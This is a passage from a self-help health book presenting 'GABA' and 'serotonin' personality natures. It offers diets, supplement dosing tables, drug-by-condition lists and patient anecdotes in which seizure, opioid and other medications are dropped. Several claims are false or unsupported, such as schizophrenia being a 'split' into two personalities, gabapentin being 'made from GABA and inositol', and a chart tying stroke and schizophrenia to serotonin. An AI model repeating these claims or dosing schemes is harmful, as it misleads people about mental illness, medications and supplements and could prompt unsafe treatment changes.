If your GABA nature has been diminishing, or if you are trying to enhance this biochemical as complementary to another nature, try the diet found at right. These menus span three days and can give you an idea of the foods and quantities you can eat that will increase your GABA. How often you repeat this diet depends on your deficiency level. If you have a minor deficiency, then you should follow a three-day course once a month. If you have a moderate deficiency, you should follow a three-day course once a week. An extreme deficiency requires at least six days a week of this specific diet.
Important components of this diet are organ meats (especially liver), whole grains, vegetables, nuts, legumes, cantaloupe, oranges, and reishi mushrooms.
The benefits of your GABA diet will be evident after a few weeks as your body begins to get an adequate supply of glutamine to keep its GABA flowing. Daily anxiety symptoms such as headache and irritable bowel will dissipate. If you've been having trouble sleeping, you'll be amazed at how calm and relaxed you are at the end of the day. You'll fall asleep easily, sleep undisturbed, and awaken fully rested.
**DAY 1**|
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BREAKFAST | 1/2 cup whole-grain cereal mixed with 1/2 cup bananas, 1/3 cup cantaloupe, 1/3 cup oranges, and 1/4 cup almonds. Finish with raspberry herbal tea.
LUNCH | 8 oz. grilled liver with 4 oz. multicolored vegetable salad with olive oil and vinegar and 1 slice whole-grain bread. Finish with citrus fruit salad and herbal tea.
DINNER | 4–6 oz. grilled halibut with ginger. 1 medium baked potato topped with 1/2 teaspoon cinnamon. 6 oz. apple, raisin, and walnut salad with a splash of balsamic vinegar. Finish with a glass of rice milk.
**DAY 2**|
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BREAKFAST | 4 oz. fruit mixed with 2 cups plain yogurt. Finish with 1 cup soy milk.
LUNCH | 4–6 oz. lentil soup with 1 slice rye toast. Finish with a sliced banana with cinnamon.
DINNER | 8 oz. grilled dark-meat fowl with 1/2 cup mixed portobello and reishi mushrooms. Finish with 6 oz. mixed berry smoothie.
**DAY 3**|
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BREAKFAST | 6 oz. oatmeal sprinkled with raisins and caraway seeds. Lemon herbal tea.
LUNCH | 6–8 oz. steamed or baked chicken breast cooked with 3 bay leaves. 6 oz. cauliflower, beet, and green bean salad mixed with olive oil. Finish with mango juice.
DINNER | 8 oz. lean steak with 4 oz. jasmine rice and 6 oz. mixed grilled vegetable salad sprinkled with dill. Finish with banana puree and a touch of cocoa powder.
HEALTHY | 1 whole-grain nutrition bar; 1/4 cup nuts; veggie
SNACKS | burger on whole-wheat bun with tomato sauce and oregano; 4 oz. citrus fruit salad
**VITAMINS AND SUPPLEMENTS**
Even with the best of intentions, you might not be able to stick to your nature diet at all times. But your brain still needs its GABA. Readily available vitamins and supplements are an excellent means to ensure a steady supply of GABA nutrients. They are best taken from the late afternoon through the early evening—these supplements will help you relax, and you don't want to slow down in the morning, when you need to approach the day with vigor.
When we are healthy, we can get enough glutamine from the foods we eat. However, when the first symptoms of illness occur, glutamine and its complementary nutrients can be supplemented to avoid more serious symptoms, conditions, and medical treatments. Therefore, augmenting these nutrients becomes your first line of defense to regain wellness.
Inositol is a vitamin-like substance that is related to phosphatidyl-choline in that they work together to build and protect cell membranes. It is in the B complex family and produces a calming and relaxing effect by activating GABA and cyclic adenosine monophosphate. Inositol has been used to raise GABA levels, and the use of high doses (2 to12 grams per day) to relieve anxiety stemming from GABA deficiency is well established in psychiatry.
As with medications and hormones, specific GABA conditions are more responsive to certain supplements. For GABA natures, I have created a GABA-balancing program that I call Brain Calm. It contains valine, isoleucine, leucine, inositol, and the B complex vitamins. (In the body, inositol and glycerin, from the body's glucose, convert to a natural Valium that can calm the brain and keep you on an even keel.) This chemical is phosphotidyl and inositol, which has a GABA effect. This formula is the antidote for being edgy: it decreases the symptoms of anxiety, including trembling, hyperventilation, palpitations, ringing in the ears, and cold or clammy hands.
GABA BOOSTERS (SUGGESTED DAILY SUPPLEMENTAL DOSES)
| Minor | Moderate | Severe
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| Deficit (0–5) | Deficit (6–15) | Deficit (15+)
Inositol | 500 mg. | 1,000 mg. | 2,000 mg.
GABA (generally not well absorbed) | 100 mg. | 500 mg. | 1,000 mg.
Glutamic acid | 250 mg. | 500 mg. | 1,000 mg.
Melatonin | 1 mg. | 2 mg. | 3–6 mg.
Thiamine | 200 mg. | 400 mg. | 600 mg.
Niacinamide | 25 mg. | 100 mg. | 500 mg.
Pyridoxine | 5 mg. | 10 mg. | 50 mg.
Valerian root | 100 mg. | 200 mg. | 500 mg.
Passionflower | 200 mg. | 500 mg. | 1,000 mg.
Alternatively, you can take any of the following supplements alone for a specific ailment. The recommended daily allowance (RDA) for each is in parentheses, when available:
_Anxiety:_ kava (none established)
_Insomnia:_ inositol (none established)
_Elevated blood pressure:_ taurine
_Muscle spasms:_ branched-chain amino acids, including valine, isoleucine, and leucine (none established)
_Muscle tension:_ B vitamins, especially thiamine (men 1.5 mg., women 1.1 mg.) or riboflavin (men 1.7 mg., women 1.3 mg.)
_Psychosis:_ glycine
_Seizures, pain, anxiety, insomnia:_ gabapentin (Neurontin) is essentially made from GABA and inositol
**LIFESTYLE**
If you have a GABA nature, you need to realize that your life doesn't have to be defined in terms of someone else. Doing something solely for your immediate enjoyment is healthy. In fact, you'll be much better at taking care of others once you learn to take care of yourself.
Regular aerobic exercise is of tremendous cardiovascular benefit— and it helps maintain your GABA. Exercise also works as a tranquilizer for people with a GABA nature by helping restore your GABA balance. So power-walk, jog, use a StairMaster or treadmill, or ride a bicycle for at least thirty minutes three times a week.
**EXERCISE: GABA AEROBICS ROUTINE**
This routine is great for any nature that requires aerobic activity: acetyl-choline, GABA, or serotonin. All you'll need is a pair of comfortable walking shoes, a watch, and a pair of handheld weights of no more than two pounds each.
The goal of this routine is to get you moving at a variety of paces. You will be walking around your home. If you can, walk outdoors, no matter what the weather. The fresh air can do wonders for your GABA.
Start off with a five-minute warm-up as you circle your home. Carry your light weights with you and pump your arms as you walk. Your pace should be one at which you can easily carry on a conversation.
For the next twenty minutes, pick up the pace. You want to reach the point at which you are panting but could carry on a brief conversation at the same time. Vary your terrain: walk up and down a staircase, or walk up and down a hill. Pump your arms faster as you go, bringing the weights to the level of your heart.
For the last five minutes, progressively slow down your pace. Take long strides and stretch your legs as you bring your walk to an end. Stop pumping your arms and carry the weights at your sides. Don't stop moving until you have walked a total of thirty minutes.
**OTHER LIFESTYLE STRATEGIES**
Someone with a GABA nature needs to take time out to pursue the health benefits of play. Everything you do does not have to be a means to an end. Try to think of a hobby or pastime you used to enjoy or always wanted to explore. Make the time to pick it up again or investigate it for the first time, and if you like the activity, incorporate it into your life.
As for relationships, remind yourself that they are a two-way street. You don't always have to be the giver—it's perfectly okay, and actually necessary, for you to be on the receiving end as well. Open yourself to help and comfort from others. Don't always be so quick to offer yourself— let others fend for themselves more often, and let them approach you for help first. Remember that GABA people risk their health when they can't say no to others at times. You'll never become a self-centered, me-first person, and you don't have to be—there are plenty of those people around. But you will be taking better care of yourself by allowing others in your life to take care of you.
Mary now power-walks regularly, which not only provides the aerobic benefit she needs but also lets her be alone so that she can concentrate on herself. She has learned to turn over meal preparation to her husband twice a week, and if he doesn't feel like cooking, they go out for dinner. Mary always wished that she could paint, and now she attends art classes once a week and makes time to paint. She lets the answering machine pick up some phone calls, and she's learned to say no once in a while when she would otherwise jump in to volunteer. All of these small changes make for big increases in Mary's overall GABA production.
**ENVIRONMENT**
Your GABA balance is particularly sensitive to the adverse affects of lead poisoning. Avoid contact with old paint and pipes, and read warning labels carefully when using paints, stains, and varnishes. Elevated lead levels are common in depressed people—as much as 10 percent of the American population. As added protection, wear a mask when working with toxic chemicals. The negative effects of chemicals in our environment disrupt the stability of the brain, making us edgy or nervous.
**GETTING INTO BALANCE**
As a GABA nature, you know when everything's right in your world because there's nothing remarkable about it: nothing stands out, nothing is out of place. There's a seamless transition from one activity to another, from one person to another, from one day to another. That's the rhythm of your balanced nature.
Unbalanced, there is discord everywhere: from substandard work to unfinished personal business and physical ailments in every part of your body. But now you know it doesn't have to stay that way. Now you know about the weapons at your disposal to restore your GABA and to regain your edge.
Nature-based treatment is not miraculous. It's just good medicine. Getting to the source of an illness by discovering your nature is the path to health. All of Mary's conditions could be traced to a rhythm disturbance in her brain—a GABA imbalance. And when your rhythm is disturbed, all of your brain waves are out of balance, all four pairs of lobes in the cerebrum are affected, and so all parts of the body start sending warning signals. It was no surprise that Mary's lungs, nerves, digestive system, and muscles all were screaming out to her. The real solution to Mary's myriad health problems was the natural one: balancing her GABA.
As I've said before, conventional medications are a vital part of restoring health but must be used judiciously. Mary was taking far too many drugs for her own good, and eliminating them was not only gratifying to Mary but especially pleasing to me. After two weeks of normal sleep, the tingling in her fingers disappeared, she was breathing normally, and her digestive system was back to normal. She no longer needed her seizure medication, albuterol (Proventil), or diphenoxylate (Lomotil). The beta-blockers for her palpitations, which were leading to depression, were also eliminated after two weeks. All of these were replaced by a single medication for generalized anxiety: alprazolam (Xanax). Her back and neck pains subsided gradually and disappeared totally after the first month. Then she said good-bye to her oxycodone (OxyContin).
GABA-natured people are ideal candidates for making small yet significant improvements. Because of their organization and administration skills, they are excellent at incorporating new routines into their lives and sticking to them. Mary was no exception. She switched to a GABA diet and supplements immediately. And she took the necessary steps to reduce stress, which only exacerbates anxiety. She was no longer a slave to every item on her daily schedule; she made sure to get to all of the important ones, and if a minor one was left undone, so be it. She learned to say no more often, and she made sure to allocate at least an hour every day for herself to read, walk in a park, window-shop, or simply take a long, restful bath.
After three months, Mary wasn't taking any medications—not even alprazolam (Xanax). Her edge was being totally addressed with her diet, supplements, and lifestyle. As a concession to her age, she continued to take progesterone to maintain a normal level. This helped her to maintain her GABA balance and to restore her sex drive.
That was a year ago. Today Mary is back to her former self: organized, consistent, stable, punctual, and capable. Mary's relationships with her husband and children markedly improved—she was able to provide the loving support to their lives that she longed to give. Mary can now forget about her five years of health travails. What she won't forget is her newfound knowledge about her nature. She knows now that maintaining the stability she holds in such high regard is all about maintaining her GABA balance.
By following these suggestions, you too can balance your GABA nature and restore yourself to full and abundant health.
THE PLAYFUL SEROTONIN NATURE
THE BIOCHEMICAL SEROTONIN helps to resynchronize your brain so that every morning you begin with a fresh start. If you have a serotonin nature, you are among the 17 percent of the population who really know how to enjoy themselves. Associated with delta waves in your brain, serotonin affects your ability to rest, regenerate, and find serenity.
In this chapter you will learn about your serotonin nature and see how it affects all areas of your physical and mental health. More important, you will be able to recognize some of the specific serotonin-linked ailments you might be experiencing, and learn how to address a serotonin deficiency and attain the Edge Effect.
**THE SEROTONIN NATURE
PERSONALITY PROFILE**
If you have a serotonin nature, you know how to live in the moment. You are a realist, keenly responsive to sensory input, yet at the same time you can be impulsive. You love to participate in activities—whether at work or at play—for their inherent enjoyment, not as just a means to an end. You define achievement as getting something done immediately. You thrive on change: you'll alternate tasks and find new ways of doing repetitive ones, try new foods, pick up a new hobby, plan a different vacation every year. If you find yourself sticking to the same old thing, you'll shake things up just for the excitement of taking on a challenge— and overcoming it.
When balanced, a person with a serotonin nature is receptive to stimuli, in touch with both mind and body, often physically coordinated, and very resourceful. Your dominant neurotransmitter is serotonin, you're not put off by struggle, and you're undeterred by setbacks. If you don't consider work play, it's not worth doing. Your serotonin nature is ideal for professions requiring motor skills, hand-eye coordination, flexibility, and crisis management. Tools of every kind are considered extensions of the serotonin brain. Construction workers, oil riggers, truck and ambulance drivers, military personnel, hairstylists, bartenders, pilots, and computer programmers—who get to play with the most advanced and expensive tools—are all likely to have a serotonin nature. Professional athletes, movie stars, photographers, and fashion models would also likely owe their choice of a profession, and their ability, to their increased levels of serotonin. Serotonin dominance would also be essential for the troubleshooting business executive hired to save a floundering company; for surgeons, orthopedists, and chiropractors; for detectives and investigators; and for specialists in crisis intervention.
If there's excitement to be had, you're there. Parties and celebrations, computer and video games, casino gambling—all these are natural choices for you. Mountain climbing, hunting, target shooting, skydiving, hang gliding, skiing, and scuba diving all offer enough excitement to interest you. And you'll try just about anything as long as there's some element of excitement involved.
You are passionate in your relationships but refuse to be tied down. Equally important is that others recognize your freedom. You can be the life of the party, and others gravitate to you. You're optimistic, cheerful, and easygoing, and you can keep any conversation animated. You want everyone to join in and be part of your fun. You also have a special fondness for children, although a commitment to them can be overwhelming. You delight in playing with them, and if you don't have children of your own, being the favorite aunt or uncle comes naturally to you.
You're intensely loyal to coworkers, friends, and family. People appreciate your practical side and the way you make the best of any situation. Your friendships are many and varied, broad rather than deep. Your impulsivity and desire for new experiences move you away from people before roots form. Your natural disdain for order and structure, along with your love of independence, can place a strain on your closest relationships.
The Edge Effect for a serotonin nature occurs when you've maximized your serotonin nature and can experience feelings of serenity throughout the day. These are the times when you experience the high that comes from taking part in activities others would find dangerous, including bungee jumping, motorboat racing, whitewater rafting, motorcycling, or just staying out all night carousing. When you play hard, your body is in serotonin overdrive, and you are having the time of your life.
**TOO MUCH SEROTONIN**
It is possible to have too much of a good thing. Producing too much serotonin can make you extremely nervous. You can become hesitant, distracted, vulnerable to any manner of criticism, and morbidly afraid of being disliked. In the extreme, someone with an excessive-serotonin personality is painfully shy and sees himself as inadequate and inferior. Such people are plagued by sadness, anger, and a desperate desire for interpersonal interaction, which, ironically, they are too fearful to attempt.
**OUT OF BALANCE:
SEROTONIN DEFICIENCY**
Produced within the occipital lobes, serotonin helps to create the electricity for sight and rest, and it also controls your cravings. The occipital lobes maintain your brain's overall balance, or synchrony, by regulating the output of all the primary brain waves. The four brain waves appear in varying combinations throughout the day, but at night serotonin allows the brain to recharge and rebalance. If these brain waves are out of sync, the left and right sides of your brain will be out of balance, and you might feel like you are going off the edge: you are overtired, out of control, and unable to get restful sleep.
When your serotonin is unbalanced, your brain's ability to recharge itself is compromised. Serotonin burnout can occur from experiencing too much excitement or not getting enough sleep. When this happen, you simply cannot think clearly. The following chart shows varying degrees of serotonin deficiency, measured by using EEGs or brain maps to track the number of synchrony abnormalities.
OUT OF SYNC: VARYING DEGREES OF ELECTRICAL DYSRHYTHMIAS OR SEROTONIN IMBALANCE
High serotonin | 10 | Perfect brain: complete left/right synchrony
---|---|---
| 9 | Constipation or irritable bowel syndrome, vaginal dryness
| 8 | Nausea, delayed sexual response, poor temperature regulation, blues
| 7 | Mild osteo-rheumatoid arthritis, mild hypertension, premature ejaculation, allergies, mild PMS, overexcitability or overemotionality, mild learning issues
| 6 | Insomnia, masochistic tendencies, conversion disorder, lack of coordination, dizzy spells, tinnitus, mild dysthymia (a disorder related to depression)
| 5 | Irregular heartbeat, obsessive-compulsive disorder, severe PMS, moderate dysthymia, shyness, persistent arthritis, uncontrolled hypertension
| 4 | Wide range of perimenopausal disturbances, loner behaviors, severe osteoarthritis, rheumatoid arthritis
| 3 | Addiction, bingeing, moderate learning disabilities, severe mood disorders and moderate depression
| 2 | Alcoholism, major depression, hypersomnia (sleeping for hours)
| 1 | No sleep for days, stroke, severe learning disability, schizoaffective disorder
Low serotonin | 0 | Prolonged severe drug experimentation, extensive hallucinogen use, thought confusion, schizophrenia
**SEROTONIN-RELATED
SYMPTOMS AND CONDITIONS**
For a serotonin nature, the early warning signs of deteriorating health are the result of a serotonin deficiency, which causes a disconnect between the mind and body. This disconnect can manifest itself in a variety of ways, including any of the following symptoms and conditions:
PHYSICAL ISSUES
Abnormal sense of smell
Abnormal sleep positions
Aches and soreness
Allergies
Arthritis
Backache
Blurred vision
Butterflies in stomach
Carbohydrate cravings
Choking sensation
Cold or clammy hands
Constipation
Diarrhea
Difficulty swallowing
Dizziness or light-headedness
Drug and alcohol addiction
Drug reactions
Dry mouth
Flushing or pallor
Hallucinations
Headache
High pain/pleasure threshold
Hypersensitivity
Hypersomnia
Hypertension
Insomnia and early-morning awakening
Lump in throat
Muscle tension
Nausea
Night sweats
Palpitations
Paresthesia
PMS or excessive menstrual bleeding
Premature ejaculation
Premature orgasm for women
Salt cravings
Shortness of breath
Tachycardia
Tinnitus
Tremor
Urinary frequency
Vomiting
Weight gain
Yawning
PERSONALITY ISSUES
Codependency
Depersonalization
Depression
Impulsiveness
Lack of artistic appreciation
Lack of common sense
Lack of pleasure
Loner behaviors
Masochistic tendencies
Obsessive-compulsive disorder
Paranoia
Perfectionism
Phobias
Rage
Self-absorption
Shyness
MEMORY ISSUES
Confusion
Memory loss
Too many ideas to manage
ATTENTION ISSUES
Difficulty concentrating
Hypervigilance
Restlessness
Slow reaction time
Obviously, no one person will have all of these symptoms at once, and certainly some are more serious than others. The value of _The Edge Effect_ is in associating the earliest symptoms with a serotonin deficiency and directing you toward the easiest, least damaging, and most effective interventions.
Once again, if you compare the above lists with those for the other natures, you will find that some symptoms and conditions appear more than once. This repetition is caused by the binary nature of the neurotransmitters. While there are four primary neurotransmitters, pairs often work in similar ways. For example, both dopamine and acetylcholine act as the electrical on switch for the brain: they create energy the body uses for power and speed. On the other hand, GABA and serotonin are the electrical off switches: they create electricity necessary for calming the body and producing sleep. Because their functions are similar, similar symptoms may occur when either is deficient.
Second, the brain-mind-body connection has only a limited number of possible malfunctions. These malfunctions affect the rest of our system in similar ways. However, how a deficiency affects specific organs or systems varies by nature. For example, deficiencies in both serotonin and GABA affect your ability to sleep. But too little serotonin can produce night sweats and the inability to sleep, while too little GABA will leave you feeling fatigued throughout the day.
**SEROTONIN DOMINOES**
An unbalanced serotonin nature, or a serotonin deficiency for a different nature, can set off a series of health problems. Serotonin dominoes might start with a loss of enthusiasm for your favorite activity, either at work or at home. For the first time in your life you have to give yourself a pep talk to enjoy yourself. Making the rounds of your associates and friends, entertaining them at lunch, meetings, or functions, takes effort. You don't enjoy your food, and you compensate for the lack of flavor with quantity. The result is that more than a few extra inches start to appear in unwanted places.
You're not enjoying your life very much—you figure you'd better get some more rest. But the deep, restful sleep that previously came so easily to you is now elusive at best. Some nights you don't sleep at all, which explains why you show up late, and unprepared, for work, which you never did before. When you are at work, you're not getting as much done. When your breath becomes labored and your chest begins to hurt, you decide it's time to see a doctor.
The doctor at first does not seem to be overly concerned. You're just one of his many patients afflicted by the modern world: working too much and playing too hard. He believes that your symptoms are all related to anxiety, and he gives you medication to combat it, along with sleeping pills. He reminds you to start taking care of yourself and lose some weight. He recommends a high-protein, low-carbohydrate diet.
Things begin to look brighter until your skin breaks out two months later for the first time in over fifteen years. When your synchrony is off, there's a disconnect between the right and left sides of your brain, between your mind and your body. In extreme cases, schizophrenia results—literally, a split represented by two distinct personalities. On the physical side, serotonin deficiencies can cascade into alcohol abuse or, worse, liver disease as you continue to self-medicate in your attempts to get yourself back on track.
Although you might think this scenario is far-fetched, it can happen when a serotonin deficiency is left unchecked. My patient Tom was a good example of this. When the thirty-five-year-old carpenter shuffled into my office, I saw immediately that at five feet ten inches and 210 pounds, he was considerably overweight. Tom sat there, visibly sweating in my climate-controlled office, and unburdened himself.
"Doc, I'm having some trouble. I can't sleep, and it's hard to breathe at times. I'm not getting enough done on the job. I figured I'd been working—and partying—too hard, and that must be it. And I know my weight hasn't helped. But I'm still young, I'm strong—I can deal with all that. But doc . . . I . . . um. . . I'm having trouble . . . in bed." He fidgeted before telling me, "I'm losing my erection after two minutes. Can it be time for Viagra already?"
Tom, like most people his age, took life for granted. He moved nonstop from work to socializing. He enjoyed everything he did in full measure. But for the past six months, things had been markedly different. His work wasn't up to par, and on the job he didn't feel like one of the boys anymore. He had to force himself to join his buddies after work in the local bar. When he did show up, he stayed on the periphery, drinking successive beers in virtual silence.
Weekends were mostly spent alone. He missed softball and basketball games because he wasn't motivated to play—and then felt guilty about letting his teammates down. He made excuses not to be with his girlfriend. His shortness of breath, excessive sweating, and insomnia, coupled with his withdrawal from his usual social contacts, concerned him enough to seek medical help.
The first doctor Tom saw had put him on a strict high-protein, low-carbohydrate diet, and Tom was diligent about everything he ate. He lost ten pounds in a month and a half. He slept okay when he took a pill, but he still didn't feel right. His sweating persisted, even when he was relaxing. He surprised himself by falling off a ladder at work. He broke up with his girlfriend when he was confronted with his sexual dysfunction. That's when he looked me up.
In my office, the Braverman Nature Assessment identified Tom's serotonin nature. And he did reveal one important concern: alcohol abuse. Tom was used to having three to four beers about five times a week, and binged at least once every week. Although he tried to maintain the diet his doctor recommended, he had fallen back into his old habits: loads of pasta, potatoes, fried foods. He ate virtually no vegetables, whole grains, or fish.
Tom's symptoms indicated a major disconnect between his mind and his body, which explained his physical symptoms, including his clumsiness. His withdrawal from everyone and everything was the sign of a descent into depression. By the time Tom came to see me, his serotonin levels were so low that his brain could no longer recharge itself and was burning out.
Fortunately for Tom, the party wasn't over. He found the source of his former, happier life: his serotonin nature. He had learned at a young age that there are things you can do—things you must do—if you are to keep the party going. Now he needed to replace bad habits with good ones that would increase his serotonin production effectively and safely.
**BALANCING YOUR
SEROTONIN NATURE**
Tom's excessive sweating, insomnia, and sexual dysfunction were worrisome enough. Yet these complaints were mere nuisances compared to the major ailments that were bound to show up if Tom didn't seek appropriate treatment. Early—and relatively minor—serotonin-based ailments can be directly treated with medications, hormonal means, alternatives such as diet and supplements, and lifestyle changes, including changes in the environment.
**SEROTONIN-FRIENDLY
MEDICATIONS**
Once you've balanced your serotonin by following the suggestions in the rest of this chapter, you should not need serious medications. But until your serotonin is balanced, you may require some combination of prescription drugs. These pharmaceuticals are designed to reverse an occipital-lobe serotonin deficiency by affecting the body's symmetry— its connection between the left brain and the right brain. Each of these medications has specific properties that address a specific symmetrical imbalance. For example, many serotonin medications actually reverse obsessive-compulsive behavior, which is the result of the brain being out of sync.
Any serotonin deficiency can be corrected by using some combination of the seven treatment modalities: medications, hormones, supplements, diet, lifestyle, environment, and electrical treatments. The severity of your symptoms, however, will determine which type of treatment will work best for you. You can gauge the level of your deficiency by consulting your deficiency test. A minor deficiency will range from 0 to 5, a moderate deficiency will range from 6 to 15, and a severe deficiency is considered anything over 15. Talk to your doctor regarding drug choices and specific doses that are right for you. Dosage will vary significantly based on your height, weight, and gender.
Following is a list of conditions related to serotonin deficiency and drugs that can be used to treat them.
_Allergies:_ antidopamine agents such as diphenhydramine (Benadryl), cetirizine (Zyrtec), and loratadine (Claritin)
_Anxiety:_ venlafaxine (Effexor)
_Depression:_ paroxetine (Paxil), sertraline (Zoloft), citalopram (Celexa), fluoxetine (Prozac)
_Dizziness or motion sickness:_ Dramamine
_Insomnia:_ trazodone (Desyrel), nefazodone (Serzone) _Memory loss:_ Hydergine
_Migraine headache:_ triptans
_Nausea:_ ondansetron (Zofran)
_Obsessive-compulsive disorder:_ clomipramine (Anafranil), fluvoxa-mine (same)
_Seizures:_ carbamazepine (Tegretol) _Sleep disorders and allergies:_ antihistamines
Medications can play a role in your recovery, but only if they are appropriate to your nature. Part of Tom's problem was that he was initially prescribed the wrong type of medication for a serotonin deficiency. I replaced his zolpidem (Ambien) and alprazolam (Xanax)—GABA-related medications for insomnia and anxiety—with trazodone (Desyrel) and paroxetine (Paxil), serotonin-related medications for insomnia and depression.
**HORMONES**
Each of us experiences a decline in hormone levels at different times in our lives and at different rates, so we must monitor our hormone levels and supplement them—under a doctor's direction—as necessary.
While the hormones listed below are necessary for all of us, a serotonin nature will feel more out of sorts as the body naturally depletes them, and therefore will require more supplementation. For example, the hormone progesterone is vital for everyone's health, but especially if you are a serotonin type experiencing a deficiency. Progesterone deficiencies are linked to depression, diminished libido, weight gain, diabetes, osteoporosis, and immune system disorders, all of which are also serotonin issues. Natural hormones that can aid a serotonin deficiency include:
_Adenosine:_ calms heart rhythm
_HGH:_ improves sleep, encourages increase in bone density
_Leptin:_ decreases appetite (not available to consumers yet)
_Pregnenolone:_ increases total GABA levels
_Progesterone (Prometrium):_ balances PMS, anxiety, insomnia
**DIET**
For many conditions—especially those present in the early stages of a deficiency—you don't need a doctor to restore and maintain your serotonin balance. You can restore your edge yourself with nature-specific diet, vitamin, and supplement choices.
The easiest and most natural way to keep your serotonin nature balanced is by making better food choices when you eat. The goal of a serotonin-balancing diet is to ensure that the body has enough tryptophan, an amino acid that can be converted to serotonin in the body. Tryptophan is found in many protein-rich foods, such as turkey, and naturally helps your body fall asleep. This is one of the reasons why you feel so satisfied, and tired, after a Thanksgiving meal. By ingesting enough tryptophan, you'll soon be able to discard any sleeping pill you've been taking.
Adults need about 200 mg. of tryptophan a day, though the body's need for tryptophan decreases with age. By eating foods high in tryptophan, it is easy to consume that amount. For example, there are 400 mg. of tryptophan in just one cup of wheat germ. A cup of low-fat cottage cheese contains 300 mg. of tryptophan, and a pound of chicken or turkey contains up to 600 mg.
The following is a list of foods that contain significant amounts of tryptophan. If you are trying to increase your serotonin levels, incorporate as many of these foods as possible into your diet each day. Be sure to round out a high-protein meal with lots of additional fruits and vegetables, even if they don't appear on the list below. You may also drink any noncarbonated, nonalcoholic, sugar-free beverage you prefer.
THE SEROTONIN DIET: TRYPTOPHAN FOODS
FOOD | AMOUNT | CONTENT (G)
---|---|---
Avocado | 1 | 0.40
Cheese | 1 oz. | 0.09
Chicken | 6–8 oz. | 0.28
Chocolate | 1 cup | 0.11
Cottage cheese | 1 cup | 0.40
Duck | 6–8 oz. | 0.40
Egg | 1 | 0.40
Granola | 1 cup | 0.20
Luncheon meat | 6–8 oz. | 0.50
Oat flakes | 1 cup | 0.20
Pork | 6–8 oz. | 1.00
Ricotta | 1 cup | 0.30
Sausage meat | 6–8 oz. | 0.30
Turkey | 6–8 oz. | 0.37
Wheat germ | 1 cup | 0.40
Whole milk | 1 cup | 0.11
Wild game | 6–8 oz. | 1.15
Yogurt | 1 cup | 0.05
**DEFICIENCY CRAVINGS**
Those with serotonin natures, especially where there is a deficit, will crave simple carbohydrates such as pastas and rice, as well as salt, all of which promote the release of stored serotonin, producing the expected serenity high. However, too much sodium is extremely bad for the body, especially if you have high blood pressure, and too many simple carbohydrates will lead directly to weight gain. Salt, salty snacks, and simple carbohydrates should be avoided.
An equally important issue for serotonin natures is limiting alcoholic beverages. While they can be tempting and definitely help you keep your edge, their long-run effects can be devastating. Limiting your alcohol intake to two drinks per day no more than twice a week will keep you satisfied without damaging your brain and body.
**SEROTONIN-BOOSTING DIET**
If your serotonin nature has been diminishing, or if you are trying to enhance this biochemical as complementary to another nature, try this diet. These menus span three days and can give you an idea of the foods you can eat that will increase your serotonin. How often you repeat this diet depends on your deficiency level. If you have a minor deficiency, then you should follow a three-day course once a month. If you have a moderate deficiency, you should follow this once a week. An extreme deficiency requires at least six days a week of this specific diet.
The main components of this diet are protein foods high in tryptophan, as well as complex carbohydrates.
**DAY 1**|
---|---
BREAKFAST | 6 oz. cream of wheat or rice cereal mixed with 2 oz. fresh fruits and 1 cup whole milk.
LUNCH | 4 oz. egg salad with paprika and scallions, tomatoes, and lettuce on 2 slices of rye bread. Finish with iced tea.
DINNER | 8 oz. Greek salad prepared with olive oil sprinkled with marjoram. 8 oz. ground turkey with whole-wheat pasta in tomato sauce sprinkled with 1 oz. cheese. Finish with black cherry tea.
**DAY 2**|
---|---
BREAKFAST | 2 eggs, scrambled, with seasonings such as turmeric, garlic, pepper, cumin, and tarragon with 1 nitrate-free sausage. Finish with 1/2 cup freshly squeezed orange juice.
LUNCH | 4 oz. roast turkey with 4 oz. avocado-mint salad with tomatoes and black olives, dressed with safflower oil and sesame seeds. Finish with a cup of mocha.
DINNER | 4 oz. mackerel cooked with basil and thyme with 4 oz. salad of corn plus red and black beans. Finish with 8 oz. vegetable juice sprinkled with Tabasco sauce.
**DAY 3**|
---|---
BREAKFAST | Wheat germ sprinkled on 4 oz. multicolored apples and almonds and 1/2 cup cottage cheese. Finish with chamomile tea with lemon.
LUNCH | 4 oz. lean pork cooked with mustard seed and black pepper. 5 oz. cucumber salad mixed with red pepper, lemon peel, chervil, 1 oz. blue cheese, a touch of olive oil, and 2 tablespoons balsamic vinegar. Finish with sugar-free lemonade.
DINNER | Broiled dark-meat chicken cooked with rosemary and garlic. 8 oz. brown rice seasoned with cayenne pepper. 6 oz. multicolored broiled vegetable salad, including asparagus, tomatoes, carrots, onions. Use the drippings from the chicken with added savory as your salad dressing. Finish with a cup of instant chocolate drink and 1/2 cup of berries.
HEALTHY | 2 oz. cheese with grapes; 1 cup of plain yogurt; 4 oz.
SNACKS | egg salad on rye toast; granola bar; 1 baked sweet potato; 1 small bran muffin; 1 cup of raw string beans sprinkled with marjoram.
**ALLERGIES: LOW-HISTAMINE DIET AND
LOW-SEROTONIN DIET**
Serotonin deficiencies often occur as allergies. There is some evidence that a diet that eliminates additives and foods high in histamines may lessen the severity of allergic reactions. If you have allergies or have experienced symptoms related to allergies, including sneezing, congestion, and watery eyes, you might want to consider the following lists of permitted foods and of foods to avoid.
**PERMITTED**
_Beverages:_ fresh milk, tea, homemade fruit juice, mineral water
_Cereals:_ freshly baked breads and cereals (not packaged)
_Condiments:_ salt, pepper; other condiments to be taken only as dried leaves; vinegar only if label indicates no additives
_Fats:_ butter, olive oil
_Fruits:_ any in moderate quantities (many contain natural salicylates)
_Meats:_ fresh meat, eggs, and fish only, in small quantities (no luncheon meats)
_Sweets:_ homemade only, without additives
_Vegetables:_ any in fresh state except beans, spinach, and cabbage (including sauerkraut); tomatoes permitted in moderation
**AVOID**
_Food items likely to have additives:_ colored beverages, wines and other alcoholic beverages, artificial sweeteners, luncheon meats, ice cream, many yogurts, and ready-made, commercially available desserts
_Other items:_ colored toothpaste, colored cosmetics
**VITAMINS AND SUPPLEMENTS**
Even with the best of intentions, you might not always be able to stick to your nature diet. But your brain still needs its serotonin. Readily available vitamins and supplements are an excellent means to ensure a steady supply of serotonin nutrients. Serotonin-boosting supplements are best taken from the late evening up until bedtime, as they are made to help put you to sleep.
These serotonin-related natural substances can work as effectively as many medications, although not as quickly. For example, tryptophan supplements have been shown to have a positive effect on everyday problems such as carbohydrate cravings, low blood sugar, aggressive behavior, and insomnia. Available by prescription, tryptophan is also a mild, natural growth hormone stimulator. In more extreme cases, suicidal patients, as well as agitated, depressed ones, do well with tryptophan supplements. A combination of tryptophan at night and tyrosine in the morning often mimics the effects of many antidepressants. Tryptophan is also beneficial in some forms of schizophrenia, in Parkinson's, and may even help with progressive myoclonic epilepsy.
